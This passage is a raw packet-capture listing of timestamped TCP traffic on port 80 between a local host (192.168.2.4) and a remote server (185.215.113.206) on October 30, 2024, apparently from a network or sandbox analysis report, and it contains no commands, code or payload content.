Oct 30, 2024 02:27:37.554650068 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.554676056 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.554687977 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.554709911 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.554713964 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.554744005 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.554753065 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.554776907 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.554780006 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.554809093 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.554819107 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.554864883 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.554871082 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.554903030 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.555056095 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.555088043 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.555120945 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.555144072 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.555152893 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.555169106 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.555186033 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.555190086 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.555216074 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.555228949 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.555249929 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.555255890 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.555284023 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.555293083 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.555330992 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.555334091 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.555370092 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.555381060 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.555398941 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.555409908 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.555433035 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.555440903 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.555468082 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.555473089 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.555500984 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.555509090 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.555535078 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.555543900 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.555569887 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.555578947 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.555605888 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.555608988 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.555643082 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.555696964 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.555735111 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.555748940 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.555768013 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.555773973 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.555803061 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.555816889 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.555836916 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.555838108 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.555871010 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.555879116 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.555906057 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.555915117 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.555939913 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.555941105 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.555975914 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.555979967 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.556009054 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.556015015 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.556041956 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.556051016 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.556077957 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.556082010 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.556111097 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.556160927 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.556291103 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.556324005 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.556334972 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.556359053 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.556364059 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.556394100 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.556407928 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.556427956 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.556438923 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.556463003 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.556472063 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.556497097 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.556499004 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.556529999 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.556540012 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.556565046 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.556572914 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.556600094 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.556607008 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.556636095 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.556638956 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.556668997 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.556680918 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.556704044 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.556706905 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.556735992 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.556744099 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.556770086 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.556775093 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.556807995 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.556809902 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.556845903 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.557013988 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.557046890 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.557066917 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.557081938 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.557090044 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.557113886 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.557123899 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.557148933 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.557152033 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.557182074 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.557187080 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.557215929 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.557219028 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.557249069 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.557256937 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.557281971 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.557286024 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.557317972 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.557323933 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.557353020 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.557358980 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.557388067 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.557393074 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.557423115 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.557429075 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.557456970 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.557462931 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.557492018 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.557497025 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.557524920 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.557534933 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.557558060 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.557564020 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.557590961 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.557600975 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.557627916 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.557632923 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.557657003 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.557667971 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.557693958 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.557706118 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.557774067 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.557816029 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.557843924 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.557874918 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.557899952 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.557908058 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.557926893 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.557926893 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.557941914 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.557952881 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.557981968 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.558000088 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.558017015 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.558023930 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.558049917 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.558058023 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.558079004 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.558094025 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.558110952 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.558120012 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.558144093 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.558150053 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.558177948 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.558182955 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.558211088 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.558223009 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.558250904 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.595880032 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.595941067 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.595951080 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.595978022 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.595987082 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.596013069 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.596018076 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.596048117 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.596054077 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.596088886 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.596101999 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.596137047 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.596143007 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.596172094 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.596178055 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.596225977 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.596235037 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.596261024 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.596273899 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.596296072 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.596301079 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.596327066 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.596334934 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.596359968 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.596364021 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.596395969 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.596400023 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.596431017 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.596437931 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.596467972 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.596473932 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.596507072 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.669931889 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.670037985 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.670041084 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.670082092 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.670090914 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.670125961 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.670142889 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.670160055 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.670172930 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.670191050 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.670207977 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.670238018 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.670259953 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.670306921 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.670312881 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.670356989 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.670365095 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.670401096 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.670428038 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.670433998 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.670440912 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.670505047 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.670506954 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.670537949 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.670552969 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.670572042 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.670589924 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.670614958 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.670623064 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.670655966 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.670670033 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.670707941 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.670713902 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.670737982 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.670759916 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.670772076 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.670777082 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.670806885 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.670814037 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.670836926 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.670854092 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.670871019 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.670875072 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.670905113 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.670924902 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.670941114 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.670954943 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.670989037 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.671001911 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.671025038 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.671031952 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.671058893 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.671071053 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.671094894 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.671094894 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.671134949 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.671144962 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.671178102 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.671191931 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.671206951 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.671226978 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.671241045 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.671241045 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.671276093 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.671283960 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.671305895 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.671327114 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.671355963 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.671358109 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.671396017 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.671406984 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.671430111 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.671447039 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.671480894 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.671483994 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.671511889 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.671525002 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.671546936 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.671559095 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.671585083 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.671596050 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.671614885 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.671626091 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.671649933 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.671654940 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.671685934 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.671698093 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.671719074 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.671731949 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.671753883 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.671766043 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.671782970 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.671793938 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.671818018 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.671828032 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.671852112 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.671864986 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.671881914 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.671897888 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.671914101 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.671922922 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.671950102 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.671960115 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.671986103 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.671994925 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.672019005 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.672029972 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.672051907 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.672066927 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.672086954 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.672102928 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.672121048 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.672125101 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.672154903 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.672169924 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.672188997 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.672194004 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.672223091 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.672231913 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.672252893 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.672269106 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.672302008 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.672303915 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.672338009 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.672349930 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.672374010 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.672379971 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.672409058 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.672416925 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.672444105 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.672456026 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.672478914 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.672487020 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.672516108 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.672527075 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.672550917 CET	80	49760	185.215.113.206	192.168.2.4
